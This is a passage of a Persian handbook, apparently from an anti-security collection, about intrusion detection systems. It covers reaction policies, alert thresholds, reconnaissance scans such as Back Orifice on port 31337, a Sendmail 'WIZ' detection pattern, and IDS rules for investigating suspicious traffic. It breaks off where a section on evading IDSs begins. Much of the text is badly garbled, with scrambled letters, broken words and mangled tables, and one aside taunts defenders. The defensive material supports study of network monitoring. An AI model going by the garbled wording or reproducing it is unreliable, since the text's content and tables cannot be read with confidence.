  .ردکنترل کوتر يامپکا ی توان توسط انسان یار را مکنش خودکاو.  باشند فعالا ی غير فعالتوانند 
  

سان       ي وتر و بدون ن   يامپکامل توسط   کنش در برابر وقوع حادثه به طور        کاگر وا  ه ان ه مداخل ام گ از ب ام خود ک رد واي انج م يار خواه ک نش تم
ت ه ر مبهم باشد و ب   ياملا شفاف و غ   که  ک باشند   ید تابع مجموعه قواعد   ینش ها با  کل وا ين قب یا.داشت   ا یدرس ا  .ش شده باشد  ی آزم ه ک از آنج

ش کجاد وا یا.ود ش ینش انجام م  کورده شد وا  آه شروط قاعده ها بر    کنیبه محض ا  . شود ینش بدون دخالت انسان انجام م     کن نوع وا  یا ام   ین  تم
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ال  و  يتکنش ا کاز وا  ییها ثال زیر م  در جدول . خواهد بود  یسانآکار  رد  يه را بگ  ک شب يکل تراف ک یه جلو ک يکاتومات را    غير فع  ی مناسب ب
  .ح داده شده آورده شده استيه در بالا توضک ییاستهايمجموعه س

  
  

  )Setting Thresholds (تنظيم حدود آستانه
  

   دهد یش می را افزاIDSاست ي سیلک یر تریر پذينرو تاثیند از اک ی میريص جلوگي تشخیار هايوز اشتباه در معحدود آستانه از بر
تانه م     يبوس ا    یله حدود آس وان وق صادف  ی ت صادف  ي  و غ  یع ت د  یر ت ا    ی عم د  ی را از وق را  .ردک  کيک  تف یع عم ال ام یب  از یکی ان دارد ک  مث

ه   ) search engine ( جستجو  موتوریکه ک ییوند هايردن پکپرسنل با دنبال  ه او ارائ ا   ک  ب ه وب س  وصل  یر تجار ي  غیتیرده است ب
ه دل  کارمند مذ که  ک یدر حال  .شود ا ب ا   ي ور به استفاده از موتور جستجو بوده است ام تفاده از پارامتره ه   ي صح ییل عدم اس ح در جستجو ب

ابع          ی شود چون ا     IDSنب   منجر به گزارش از جا     دین دست نبا  یاز ا  .ده است ينا مناسب رس   یتیوب سا  ه گزارشات باعث صرف من نگون
  . شودی ضرر می بی به عملیگدي رسیبرا
  
  

  
  استيس

  

  
   مناسبغير فعالنش کوا

  
   مناسبفعالنش کوا

  
  شف حملهک

  

  
  یواقعه نگار

  یليمک تیواقعه نگار
  اخطار دادن

  

  
  و مناسب وجود ندارديتکنش اکوا

  

  
   از حملهیريجلوگ

  

  
  یارکواقعه ن

  دادناخطار 
  

  
  خاتمه دادن به اتصال
  ندیخاتمه دادن به فرا

  روالیا فای مجدد روتر یره بنديکپ
  

  
  استيشف تخلف از سک

  

  
  یواقعه نگار

  دادن اخطار

  
  و مناسب وجود ندارديتکنش اکوا

  

  
   استفادهیاست هاياعمال س

  

  
  یواقعه نگار
  اخطار دادن

  
  خاتمه دادن به اتصال

  یسک مجدد پرویره بنديکپ

  
  ی ارتباطیاست هايمال ساع

  

  
  یواقعه نگار
  اخطار دادن

  
  خاتمه دادن به اتصال

  روالیا فای مجدد روتر یره بنديکپ

  
  ک مدریجمع آور

  

  
  یواقعه نگار

  یليمک تیواقعه نگار 
  اخطار دادن

  

  
  ب دادنیفر

  خاتمه دادن به اتصال

  
  IDS سياست ساسثال واکنش ها بر ام

  
  
  

د با  ک یشف م  ک ه تهاجمات را     ک  ی ا ق مشابه حدود آستانه   یبه طر  ا  یه از جمع آور ک م شود    ي تنظ  یصورت ه  د ب  ی ن و  کی ع تی اطلاعات وق
د باشد   ک یک  نمودن finger ی برایع تلاش یل وقا ين قب یان وجود دارد ا   کن ام یا.ندکن صرف نظر    یي سطح پا  ی ها یبازرس  Finger .ارمن



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤٤٤    صفحه

د ي لکح با به دست آوردن  ي صحيکترونک پست ال  ینترل آدرس ها  کمنظور  ه عموما به    کس است   يکونی یستم ها ي در س  ی عموم یبرنامه ا 
ه ک  مهاجم است    یک از   ینشانه ا   شوند finger از پرسنل    یادی شود تعداد ز   یوتاه تلاش م  ک یالبته در مدت زمان   . شود ی استفاده م  یعموم
  .ستم را داردي اطلاعات با ارزش سی در جمع آوریسع
  

را     ستق  IDS یانتخاب حدود آستانه ب ا      يم وع وق ه ن ا     یما ب ه از س      یع و تخلف ه ستگ   ي صورت گرفت تانه      ی تعر. دارد یاست ب ه ب  ف حدود آس
ا   ین حال م یبا ا .ن استکر ممير قابل اعمال باشد غ    ي فراگ یصورت ارامتر ه وان پ تانه را      ک ف ی  را تعریی ت ا حدود آس ر اساس آنه رد و ب
  :ن پارامتر ها عبارتند اریا.رد کم يتنظ

  
 . شودیاد می زیخطااخطار اربر منجر به ک از جانب یافک یداد خطا تعمهارت کاربر •

  
 . شودیدار شوند اخطار داده می مدت زمان خاص پدی خاص طیه در آنها بسته هاک یعی وقایند باشد براک اگر سرعت شبکه •

 
خطار دهد و آن اتصال      خاص ا  یه ا که به ازاء اتصالات شب    ک شده باشد    یربنديک پ ی بگونه ا  IDS اگر   اتصال شبکه ای منتظره    •

 .د خواهد شديجاد شود اخطار بروز خطا تولی ای به طور عادیه اکشب
 

ا  یش داده م ی حدود آستانه فزا   ،   رود   ی بالا م  یتي امن ی متصد یارکه بار   یک در موارد  مديريتی /بار کاری مسئول امنيتی      •  شود ت
 .دیآنترل درک بروز تحت یاخطار ها

  
سور • وارد حساسيت سن سور خه یک  در م ده است بایلياز سن تفاده ش زای حساس اس تانه را اف دود آس ا از صدور        ش دادید ح ت

 .ز شودياد پرهیزان زياخطار بروز خطا به م
  

وان برخ  یارا باشد م  ک ار مؤثر و  ي سازمان بس  یتيه برنامه امن  ک یرتو  در ص   برنامه مؤثر امنيتی   • ده گرفت  ی  حملات را ناد ی ت
 .!! )این یعنی مرگ شما و زندگی مجدد ما  (ه موجود استک شبیروگر ی دیر دفاعيچون تداب

 
 .ه وجود ندارد اخطار داده شودک شبیه روک یی هایریب پذي حمله به آسی ندارد برایلي  دلآسيب پذيری های موجود •

 
تفاده در سازمان ب       طيت  ا    هر چه حساس    لاعاتطحساسيت سيستم و ا    • شد با   ي لاعات مورد اس تا    ی شتر ب نه را در سطح     د حدود آس

 .ردکم ين تر تنظیيپا
 

 ی اتفاق به وجود م یک دهد و نوع دوم در اثر عدم وقوع      ی رخ م  ی در نوع اول خطا واقعه ا      ،   خطا دو نوع است        اهميت خطا  •
ا  ی آ ورد خط ا ب ي  اول هر چه اهم  ید در م ه م      ي ت خط الاتر در نظر گرفت تانه ب وع دوم هرچه   یشتر باشد حدود آس  شود و در ن

  .  شودیم مين تر تنظیيشتر باشد حدود آستانه پايب) واقعهیکعدم وقوع (ا ت خطياهم
  

  
وان بصورت   یاگر چه م  .ار وابسته به سازمان است    ين حدود آستانه بس   ييتع ا  یل ک ت ي  را تعیی خطوط راهنم ا هر سازمان    ي ود ام ر  ین نم  ب

  .ردي گیم مين حدود آستانه تصميي فوق درباره تعیاساس پارامترها
  
  

  زی سيستمپياده سا
  
 IDSاست  يد سي گردد به خاطر داشته باش یزیاست وجود دارد طرح ريه در خود سک ید با همان دقتی با IDSاست ي سی عملیاده سازيپ

ابرا . شودیجاد می را بگذراند ای واقعیايش ها و تجارب دن   یه آزما کنید ا ياغذ و به ام   ک یرو ي بي تIDSاست  يه سک ن پس از آن یبن ن شد و  ي
تانه   ک ی لازم است تا زمان .  در محل قرار داده شودییاست نهايلازم است بر طبق س ، ید گردی محاسبه م ییه ابتدا حدود آستان  ه حدود آس

ه دست    ي توان تجارب لازم را درباره س      یب م ين ترت یبد.  نظارت شود  ی و بصورت دوره ا    یک از نزد  IDS است   یابیدر حال ارز   است ب
  . شوندیلک دچار مشیوتريامپکاربران مجاز کا یه ک مجاز شبيکه ترافکنیآورد بدون ا

  
ی اده ساز يدقت پبا د ی با  است  گرفته ت نشا IDSه از   ک یابی و ارز  ی هرگونه بررس  یشی مسئله مهم در طول دوره آزما      یکبه عنوان مثال    

ه است باعث                               ، شود شان گرفت دارک نادرست ن ه از م رد خارجی ک ه يک ف ه    تهمت نابجا زدن به يک کارمند يا ب  IDSمی شود برنام
  .جانب شرکت زير سوال رود چندين قدم به عقب باز گردد و کارايی کل برنامه از
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   IDSمديريت 

  
ا  ي در حال حاظر س     .ست ايت مورد بحث     در امن  IDSنون مفهوم   کهم ا  ا   IDS یستم ه دان    ی تجار  ی در بازاره د      ی حضور چن دارد و چن  ن
   !!!ی نشده استمت گذاريه قکستم هم موجود است يالبته چند س.جود دارد مختلف وی از فروشنده هاH-IDS و N-IDSستم يس
  

د     ی رد لازم است اهداف ا    يبگتصميم   IDS یاده ساز ي درباره پ  یه سازمان کقبل از آن   ه را بفهم ا  .ن برنام ا حالا متوجه شده باش      یش  د دريد ت
شده   ک ن است  ی ا آن ،ليه دل کست بل ي ن IDSستم  يرد س کارکن مطلب عدم    یل ا يدل .میردک ن IDS به   یفصل قبل اشاره ا    ات ن ه ارزش  آن اثب

رژ ي ن می  توان ا یه م يک لازم است ، در صورت     یادی تلاش ز  IDSدرست   تیری و مد  یره بند يک پ یبرا .است  از یريشگي  را در پیزان ان
 یادی منابع زIDS یاده سازي پچنانچه گفته شد در.  هم گرفتیجه خوبيار برد و نتکب) یتي برنامه خوب امنیکد  يبا تول (ر مجاز يورود غ 

  .ت برنامه لازم استي موفقیبرا
  
  

   قادر به بيان استIDSدرک آنچه 
  
را     ک دهد  ي را گزارش م   ی فقط مسائل  IDSستم  يس ل ب د يک ف و پ ی ش تعر یه از قب را  . شده باشد  یره بن د يک  پیب  دو جزء وجود   IDS یره بن

ت جالب توجه   یریص مديه به تشخک است یگریع دیجزء دوم وقا ده است، شیزیستم برنامه ريه در س کدارد،جزء اول علائم حمله است      
  . استی واقعه نگاریامهايا پی يکع شامل انواع خاص ترافین وقایا .هستند

  
ه ر ي را از پIDSستم ينندگان سکجاد یا ایه فروشندگان ک یدرباره علائم  د با ک ی م یزی ش برنام ا تعب  ی نن ن ی ت اي ر خود از اهم ي د گفت آنه

را    ک یتيزان اهم ي دهد با م   ی سازمان به آن واقعه م     یکه  ک یتيزان اهم يان دارد م  کنند و ام  ک یستم اعمال م  ي س یرا رو ع  یوقا  یه سازنده ب
را ک  یر داده شود و علائم  ييم تغی علایه بعضي اولیت بندینرو مناسب است اولویاز ا.ار داشته باشد  يآن قائل شده است تفاوت بس       آن یه ب

ا  یک نظارت شود بطور   H-IDSستم توسط سنسور    ي س یکاگر  .  باشد یر فعال م  يرود غ  یار نم کسازمان به    د ،  کع خاص را ثبت ن     یه وق ن
ا           .ندکع را مشاهده      ی آن وقا  H-IDS توان انتظار داشت سنسور      ینم د وق سور نتوان شابه سن شاهده     یع خاص  یبه طور م د حت   ک را م  در  ین

  .دهدی صورت وقوع آن حوادث ، هشدار نم
  
  

   به شما می گويندIDS درک آنچه
  

  :ش دهدی تواند سه نوع واقعه را نمای شده باشد میره بنديکح پي به طور مناسب و صحIDSه کنیبا فرض ا
  

  )از طرف مهاجم(وقايع شناسايی مقدماتی  
  

  حملات 
  

  وقايع مشکوک و غير مشکوک 
  

  .می پردازیع مین وقایح ایدر ادامه به تشر
  
  ) مهاجماز طرف(وقايع شناسايی مقدماتی  

  
اره س  ی دهد و منظور از آن جمع آوری انجام میه مهاجم قبل از اقدام به حمله واقع    ک است   ییع تلاشها یمنظور از وقا   ستم ي  اطلاعات درب

  : سودیم ميع به پنج طبقه تقسین وقایا . باشدیستم ها ميا سی
  

  ین مخفکاس •
 )Port Scan (ن پورتکاس •
 Trojanن کاس •
  هایریب پذين آسکاس •
  !!لی فای در محتوایفضول •
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د ی رخ میا آدرس خارجی یستم هايه سينترنت و علیثر آنها از طرف ا   ک افتد و ا   یه اتفاق م  ک شب یع رو ین وقا یثر ا کا ا .  ده ا یوق  ییع شناس
ه س   یع به خود  ین وقا یا. باشد یستم ها م  ي جهت بدست آوردن اطلاعات درباره س      ی تلاش یمقدمات وذ نم  ي  خود ب د،برخ ک یستم نف م ستي  سینن

دمات ییع شناسای وقایه براک شود ی میره بنديک پ ی بگونه ا  IDS ی تجار یها الا ی  اولوی مق ل م  ییت ب ه ا    . شود ی قائ ا توجه ب ن ی ه اک نیب
ذا اولو ي جهت نفوذ به س   یزميانکع م یوقا ه نظر نم      ی ستمها ندارد ل ه آن مناسب ب الا دادن ب ه با  یت ب ه ا ی  رسد البت ه توجه داشت    کن نی د ب ت

ا   ی ا يک رافاحتمال دارد ت   ه وق وذ    ي  س یک ع از   ینگون ه اطلاعات در ا      یستم نف ده باشد و هرگون ه آم د    افت ا م ورد ب ن م ان ي ستم در مي ت سیریی
  .گذاشته شود

  
  اسکن مخفی  

  
 ین رو کن نوع اس  یا.  نشود   ییستم مبدا شناسا  يه س یک شوند بطور  ییه شناسا ک شب ی موجود رو  یستم ها ي شود س  ی تلاش م  ین مخف کدر اس 
دا  یین ، شناساکن نوع اسینش در برابر اکوا  . شودیدار می پدIP stealth Scanا ی IP Half Scan بصورت N-IDS یها سنسور  مب

  .ه احتمالا مورد نفوذ قرار گرفته استکستم مبدا است ي سکردن مالکانجام دهنده و مطلع 
  
  

  اسکن پورت  
  
داد خاص  ک ی دوره ا  یند اگر در ط   ک ی م یی را شناسا  ه ارائه شده است   ک شب یستم رو يه توسط س  ک ییس ها ین پورت سرو  کاس  از یوتاه تع

ا  ک عمل اس  IDSستم يستم باز شوند سي س یک یرو) حد آستانه (پورت   ورت را شناس د ک ی م یین پ ا   .ن سور ه  از ی و بعض N-IDS یسن
ر  درنش مناسب  ک وا .نند ک ی و آن را گزارش م    یین پورت را شناسا   کب اس ين ترت يز به هم  ي ن H-IDS یها سنسور وع اس  ی ا براب ن کن ن
  . شودی انجام مین مخفکبرابر اس ه درک است ینشکهمان وا

  
  

  Trojanاسکن 
  

ا      N-IDS وجود دارد و سنسور      یادی ز Trojan یبرنامه ها  شانه ه ا ن ا     ک  یی ب ا را شناس د  ک ی م ییه دارد آنه ه    ن فانه ترافيک روان ب متاس
ورت   .  شود ی میادی زین مطلب باعث بروز خطاهایو ا با آدرس مقصد بسته شناسایی ميشود   Trojanسوی برنامه    ه ، پ در مورد واقع

  .ت استی وب سایک از ی برگشتيک است احتمالا تراف٨٠ه آن پورت ک يکیبه عنوان مثال تراف . دیي نمای را بررسيکمبدا تراف
  

وم  ر یعم وع اس  ی ت را Trojanن کن ن د یرخ م  Back Orifice  ی ب ورت    Back Orifice.  ده تفاده م   ٣١٣٣٧از پ د و  ک ی اس  یک ن
دانيم         (ندک ین مکن پورت اس ی ا ی از آدرس ها را برا     یمهاجم اغلب  محدوده ها     ه مي سبی آورده شده و هم املا ن ه صورت ک این مطلب ب

ی ممکن ا           Back Orificeکه ممکن است  ين مناسب حت تفاده از پلاگ ال باشد و در صورت اس ورتی فع ه هيچ   س  روی هر شماره پ ت ب
ورتی  ل  پ د و از پروتک وش نده دICMPگ تفاده کن سولک) .   اس م دارا Back Orifice ن ار را کن یه اک است PING HOST یه

دارد مگر ا       ین مطلب نگران  ی ا یبرا . دهد یار انجام م  کبصورت خود  در . ده شود   ی  د يک  تراف یستم داخل  ي  س یک ه از طرف     ک نی وجود ن
  .مالا مورد نفوذ قرار گرفته است تماس گرفته شودته احکبدا ستم مي سکه با مالکنش مناسب آن است کنجا هم وایا

  
  
  

  اسکن آسيب پذيری
  
د س ین رو کن نوع اس   یعموما ا . ظاهر خواهد شد   N-IDS یاد و متفاوت حمله رو    ی ز ی بصورت  نشانه ها    یریب پذ ين آس کاس  یستمي  چن
  .ردي گی موجود و فعال را هدف میستم هاي فقط سیریب پذين آسکاس.  شودیه موجود هستند به عنوان هدف انجام مک
  
رد ک کيک شود تفی اجرا میتيت امنکه توسط شرک یریب پذين آسک توان از اس  ی شود را نم   یر انجام م  که توسط ه  ک یریب پذ ين آس کاس
ثلا    باز این مطلب نسبی است در حالی که اکثر اینگونه فکر نم           (ند  کستم نفوذ   ي تواند به س   ی خود نم  ین به خود  کدر هر حال اس   .  د ، م يکنن

ا پس از آن  !!)  راه اندازی ميکنيد بدون آنکه متوجه باشد        DOSبا تست بعضی از حفره ها به خودی خود شما یک حمله              ن ی ر اک ه هک ام
ا  ي رد و س  ک نوع حمله را اجرا       ذ  ي آس  یستم ه ا س   ی  با یریب پ ه شود و س          ي د ب دا تماس گرفت ا ي ستم مب ودن    ی داخل یستم ه ه روز ب  از نظر ب

Patch  نترل شوندک ها.   
  
  

  فضولی در محتوای فايل
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 ٤٤٧    صفحه

ه    ک ی میور سعکاربر مذک. شود ی انجام میاربر داخلکل اغلب توسط ی به فایش دسترسیا آزما ی یفضول د ب د بفهم ا م  یدام فاک ن وان  یله  ت
ا  یست؟ ا ي آنها چ  یرد و محتوا  کدا  ي توان دست پ   یم سور        یین شناس ط توسط سن ه اگر تلا        یار م  ک آش  H-IDS فق ر مجاز  ي ش غ شود، البت
اق م   یکه فقط ک یعیوقا. ر است یان پذک آن امیی ثبت شده باشد شناسا  ی دسترس یبرا ار اتف د ناش  ی ب تباهات سهو  ی افت ا   ی از اش  است ام

   !!!کند یار مکد با او تماس گرفته شود تا معلوم شود چه یبا ده شدیاربر دک یک از جانب یاگر نقشه ا
  
  
  

  حملات 
  
ذ يستم آس ي  سیک اگر از  . س العمل نشان داده شود کد به سرعت در برابر آنها ع      یه با کد   هستن ی واقع یع تهاجم یوقا ناخته شده   یریب پ  ش
را  IDS سوء استفاده شود     یداخل ا  ی ب ا  یی شناس الا پ   ی ا اولو ی ع  ی وق د  يک ت ب نش در ک ن حالت لازم است پروسه وا   ی ا در.  شود  ی م یره بن

  .دی آبرابر حادثه بلافاصله به اجرا در
  

ذ ين آسک و اسین حمله واقعي ب ی تفاوت IDSد  ير داشته باش  به خاط  ب ک  یریب پ ه  يه ش شود      ه حمل ل نمي ه نظر ميرسد قائ رای    . ب د ب دیر بای م
داد   ی مره به نظک یزين چ ياول. قرار دهد  ی شود مورد بررس   ی ارائه م  IDSه توسط   ک را   یاطلاعاتتشخيص واقعی بودن حمله ،        رسد تع

و نه   (یریب پذين آسکوتاه دلالت بر انجام اس  ک ی دوره زمان  یستم و در ط   ي س یک ی حمله رو  ی نشانه ها   از یع است ، مشاهده تعداد    یوقا
  . داردیستم دلالت بر حمله واقعيا چند سی یک ی حمله رویکشف نشانه ک. دارد )یحمله واقع

  
  
  

  )suspicious Events(موجه وقايع مشکوک و غير  
  
  
ه ا کوکف ساده واقعه مش یتعر. شوندی می تلقکوکع مشیرند به عنوان وقايرار نگ ق ی قبل ی ها یه جزو دسته بند   ک یعیوقا  است  ی ، واقع
ال د .  شود  ی عوض م  یل واضحي بدون دلRegisteryد يلک NTندوز ید در سرور وينکبه عنوان مثال فرض . ده نشوديه فهم ک  یگر یمث

ا ی  است؟  ی مقدماتیی واقعه شناسایکن مسئله یا ایآ. رت دارد ید مغال استاندار ک هدر آن با پروت    یه پرچم ها  ک است   ین دسته بسته ا   یاز ا 
را ی نمIDSد؟ ی آی بسته به هنگام انتقال به وجود م  یا بروز خطا در محتوا    یه بد   کارت شب کبه خاطر استفاده از      ه  یی پاسخگو ی تواند ب  ب

   . ص دهديتشخ ن واقعه رای بودن اید و نه تهاجمیي ارائه نمایافک اطلاعات تسوالان یا
  

ا       ی ظاهر م  یه داخل ک شب یه رو ک یر منتظره ا  ي غ يکتراف وع وق م از ن ال اگر     . است کوکع مش ی شود ه وان مث ه عن  یزي وتر روميامپک ب
اجم است   یک ار ک ن ی ا ، دیي گر نما ی دیستم هاي از سSNMPشروع به درخواست اطلاعات   د يک ا از پی  ته د س یره بن  شده  یستم ناش ي  ب

  . قرار دادید مورد بررسی دهد بایه منابع اجازه مک ییآنجا را تا کوکع مشیاست؟ وقا
  
  

  بررسی وقايع مشکوک
  
ر مجاز بوده است    ي غ ورود ی برا ی واقع یت تلاش يد چهار مرحله انجام شود تا معلوم شود آن فعال         ی افتد با  ی اتفاق م  کیوکت مش ي فعال یوقت
  :ن مراحل عبارتند ازیا.  خطر ی بیا اقدامی
  

 شناسايی سيستم -١
  
 بت ترافيک بيشتر بين مبدا و مقصدث -٢

  
 ثبت کل ترافيکی که از مبدا می آيد -٣
 
 ثبت محتوا بسته هايی که از مبدا می آيد -۴

  
را  یافک کا مدار ی شود آ  ین م ييپس از انجام هر مرحله تع      ا  ی ب وان      ي  آن فعال  یی شناس ه عن اجم پ   یک ت ب ه  ی دا شده است      ي  ته ام     .ا ن ه هنگ ب

س  ي  اطلاعات بیريادگی ، رار نشودکبار رخ دهد و تیک یه اگر واقعه ا   کد  ی بسپار ته را به خاطر   کن ن ی واقعه ا  یبررس اره آن ب  اريشتر درب
  :می پردازین مراحل میحال به شرح ا.ن استکرممي افتند اغلب غیبار اتفاق میکه فقط ک ییها امل خلافک یبررس. ل است کمش
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  شناسايی سيستم -١

  
ا  ، شن  کوکت مش  ي  فعال ین اقدام در بررس    ياول ا  ي  س ییاس د    ي ه در آن فعال   ک  است    ییستم ه ا یکی .ت نقش دارن ا ی از راه ه د   ،یی شناس ل یتب

وان  ی از موارد نمی است اما در برخ Host Name به IPآدرس   DHCP نت  یلاکستم ي ن است س ک مم.(رد ک دا ي  را پHost Name ت
ا  یل مواجه شد  ک با مشDNS ردنکدا ياگر در پ ...)  در حال حاضر فعال نباشد و        DNSا سرور دوردست    یباشد    ید جستجو را از راه ه

ا ی  و net.arian.wwwا آدرس ی  ry of internet numbereAmerica registت ید از ساي توانید از جمله مينکگر دنبال ید ت            یا از س
ور کریا از آدرس دا ی و    com.networksolution.www://http یا آدرس  ا یت اتوان  .دی ري بگکم کنترنت  یگر ا ی دی ه ا ین  یی در شناس

شابه موفق    .ردک ی بودن حمله تلق   ی دال بر واقع   کی توان مدر  ینم  را کوکت مش يا مقصد فعال  یمبدا   ال م ا ي به طور مث ز ي  را نییت در شناس
  .ردک ی تلقکوکت مشي خطر بودن فعالی بر ب دالکی توان به عنوان مدرینم
  

ه ذ دا ترافکلازم ب دا اصلکوک مشيکر است مب ا مب اجم نی لزوم ها .ستي ته ولا در تلاش راک ییمعم وگیه ب  یس دهی از سرویري جل
)DOS ( از رد ي  گیرمجاز صورت م  ي غی دسترسی براییان دارد تلاش ها  کن ام یعلاوه بر ا   . است یرد آدرس مبدا جعل   ي گ یصورت م
  .آن توسط مهاجم مورد سوء استفاده قرار گرفته است ه از قبل ازکد یاي بیگری دیستم هايس
  

  ثبت ترافيک بيشتر بين مبدا و مقصد -٢
  

ه چ    ینم ) IPل  کل تخلف از پروت   ياز قب ( واقعه   یکردن به   کبا نگاه    اره تراف    ي  توان هم ه شده است       ي ن دو س  يه ب  ک  يکی ز را درب ستم مبادل
اجم   . مهم استکوکت مشينه فعاليدن زميگر فهمیت دبه عبار.ديفهم م ته ال خوب  Send mail WIZعلائ ن ی از ا.ن دست است  ی  از ای مث

ا   تفاده از دستور    یه سع ک  یی تلاشها ییعلامت در شناس ه  WIZ در سوء اس د Send mail در برنام تفاده م    دارن ه ی ا . شود یاس ن واقع
ارت       یتيامن ا  يک ترونک ال ام پست  ي را در پ  " WIZ" هر مورد از عب د ک ی م  یی شناس ه پ    WIZاگر .ن ه     یام موجود باشد نم      ي  در بدن وان ب  ت

  .ندک ی مکمک خطا یی واقعه در شناسایدن محتوايفهم.رمجاز صورت گرفته استي ورود غی برایوضوح گفت تلاش
  

IDS   دا فعال ي بيکه به دنبال ترافکد ينک یره بنديک پیرا بگونه ا ا  . و مقصد بگردد  کوکت مش ي ن مب ه در جدول  ی  از ایلمث ر ن نمون   زی
  . شودیده مید
  

  
  نام واقعه

  

  
  اقدام

  
IPمبدا   

  
IPمقصد   

  
  لکپروت

  
  پورت مبدا

  
  پورت مقصد

  
SUS_ACT 

ت يفعال(
  )کوکمش

  
  
  

  
  اخطار
  یواقعه نگار

  
  مبدا

  کوکت مشيفعال

  
  مقصد

  کوکت مشيفعال

  
 UDP  ، TCP  

ه ک ICMPو 
 به نوع یبستگ
 یده میت ديفعال

  شده دارد

  
  زير چه

  
  زيهر چ

  ستمين دو سي بيکل ترافک ثبت ی براIDS یره بنديک است از پیمثال
  
  

ا م      ن مبدا وي بیگری ديکه چه ترافکنی از ایده ایه اکد؟ اول آنیي گوی به ما چه م یره بند يکن پ یاما ا  ه م د یمقصد وجود دارد ب اگر  .  ده
را  یانگر تلاش ي ب  تواند یباشد م  WIZستم، بسته   ين دو س  ي موجود ب  يکتنها تراف  دار     یاز طرف د   . ستم باشد  ي  س ی تخلف رو   ی ب گر اگر مق

  .مينک ی نگاه ميکترونک پست الی قانونيکاد به ترافیم به احتمال زينکدا يستم پين دو سيب) يکترونکپست ال ( SNMP يک ترافیادیز
  
  

  ثبت کل ترافيکی که از مبدا می آيد -٣
  

.  نباشد یافکت يرمجاز بودن فعاليا غین مجاز يي تعی شده است برایستم جمع آورين دو س  ي ب يکل تراف که از ثبت    ک ید اطلاعات ينکفرض  
ار      .  می شود و جمع آوری نمود      گسيل های دیگری که از مبدا       يک توان تراف  ی م حالن  یدر ا  به خاطر داشته باشيد در بعضی موارد این ک

د می              محدودیت دارد اگر مبدا فعاليت مشکوک روی شبکه دوردست واقع            ان می آی ه سمت سایت خودم ه ب ا ترافيکی را ک شده باشد تنه
ی  . توانيم مشاهده کنيم  وان ی باشد م  اما اگر مبدا فعاليت مشکوک محل ام تراف ي ت ده ی رده و اک  ید را جمع آور ی  آین م يه از ماش ک  يکی م تم

  .می آوری آن به دست می از مقصود واقعیبهتر
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را هنی ایب ع آورک دا مه اک يکیل ترافک ی جم ود آشی آیز مب راکد شروع ش از را ب ع آوریارس دا مک ی جم  کوکشل اطلاعات از مب
  . شودیده مید زیر در جدولرا  یربنديکن پی از ایمثال. دينک یربنديکپ
  

  
  نام واقعه

  

  
  اقدام

  
IPمبدا   

  
IPمقصد   

  
  لکپروت

  
  پورت مبدا

  
  پورت مقصد

  
SUS ACT  

  کوکت مشيفعال

  
  خطا و

  یقعه نگاراو

  
ت يعالمبدا ف
  کوکمش

  
لت یمقصد فعا

  کوکمش

  
UDP , TCP, 

ICMP  
 به یه بستگک

ده یت دينوع فعال
  شده دارد

  

  
  زيهر چ

  
  زيهر چ

  
   شودیل ميه از آدرس مبدا گسک يکیل ترافک ی جمع آوری براIDS یر بنديکپ

  
  
  

دارد ارزشی  شما  یه در بررس ک شود ی مید اطلاعاتي باعث تولیربنديکن پ یاحتمالا ا  وان اطلاعات را بصورت ش    یه م يک ممادا.  ن  ی ت
ا  ي از تعامل ب یرد تا تصور خوبک را استفاده  ین واقعه نگار  ی توان ا  یرد م ک یبررس ش و یآزما) Objectively(گرا   دا و س ت شما  ین مب

 يک ا ترافی  است؟ آ   کني تروکال پست   يکا تراف ی وب است؟ آ   يکا تراف ید آ يد بفهم ينک یه مشاهده م  ک یتيد در مورد فعال   ينک یسع.  ندکارائه  
  ت شما؟یاز سا ایرد ي گی سرچشمه مکوکاز مبدا مش

  
  د ير را بدانید موارد زی باین نقطه از بررسیدر ا

  
  ستم مبداينام س •

 
  ن مبدا و مقصد ي مبادله شده بيک ترافیفراوان نوع و •

 
  تیستم موجود در ساين مبدا و مقصد و هر سي مبادله شده بيک ترافیفراوان نوع و •

  
تفاده از ا     يان دارد نتوان  ک دهد اما ام   ی به شما م   کوک مش يکعت تراف ي درباره طب  یده خوب یطلاعات ا ن ا یا دار ی د با اس اجم کن م ودن  ی ته  ب

  .دينکت را ثابت يفعال
  
  

   ثبت محتوای بسته های که از مبدا می آيد-۴
  

ه ذ  . شود  یل م يه از مبدا گس   ک است   ییهابسته   ی ثبت محتوا  یبررس  و یدگين مرحله رس  یآخر ر رو  يک نکن تی ر است ا ک  لازم ب ط ب  ی فق
ا ک  توان پروتیممثال ن یبه ا. د استيه متن بنا شده است مفیه بر پاک ییل هاکپروت رد  Telnet, Ftp, Smtp, Http یل ه ام ب اگر  .  را ن
ه ه    يک نکن ت ی رمز شده باشد ا      و ینریل مورد استفاده از نوع با     کپروت را .  باشد  ید نم  ي چ وجه مف   ي ب ام ا   یب   را مطابق  IDSار ک ن  ی  انج
   .دينک یر بنديکپ پایينی جدول

  
را ک  یدستورات  و Sessionل ک توان سابقه ی بسته ها نمیبا ثبت محتوا   تاده شده است را جمع آور     یه ب ار  یک. دیي  نمای مقصد فرس ه ک ب

ن ی ب اکي رسد؟ تری میا به نظر قانونی وجود دارد آSessionا احتمال تهاجم در آن یآ. د یي نماید آنرا بررسیردک یتا جمع آور ی د یمقدار
ان  د ی د بای رده اک یل جمع آورياطلاعات با آنچه از قب  د جوابت شد   . را بده رد یاگر موفق ن اهر در زم ید از ف ه پروت ي م  یبررس تحت  ل ک ن

  .مک بخواهيد ک
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  نام واقعه

  

  
  اقدام

  
IP  مبدا  

  
IP  مقصد  

  
  لکپروت

  
  پورت مبدا

  
  دصپورت مق

  
SUS_ACT  

  

  
خطار و ثبت ا

   بستهیمحتوا

  
  تيمبدا فعال

  کوکمش

  
ت يمقصد فعال

  کوکمش

  
UDP - TCP  

  
  زيچ هر

  
ه ک یپورت
 يکتراف

 به آن کوکمش
   رودیم

  
  

SUS_ACT  
  

اخطار ثبت 
   بستهیمحتوا

  
ت يمقصد فعال

  کوکمش

  
ت يمبدا فعال

  کوکمش

  
UDP - TCP  

  
ه ک یپورت
 يکتراف

 به آن کوکمش
   رودیم

  

  
  زيچ هر
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   هاIDSفرار از دست 
  
  

شتوانه                                  ه پ ان حاضر نيست ب ن زم دیر شبکه در ای تم هيچ م بلا گف راه های بسيار زیادی وجود دارد و البته بسيار عالی ، به طوری که ق
IDS               ه ا               HDS ریسک کند هرچند کوچک باشد ، در واقع در این دوره ب ی نگ يله تکميل ه وس وان یک گون ه عن ا ب ه یکی از     ه د ن ه ميکنن

رار و چگونگی آن                    ه ف از اشاره اساسی ب بلا ب د ، ق م وجود دارن ه ک ودن و هزین ملزومات ، هرچند که در اکثر اوقات به علت دسترس ب
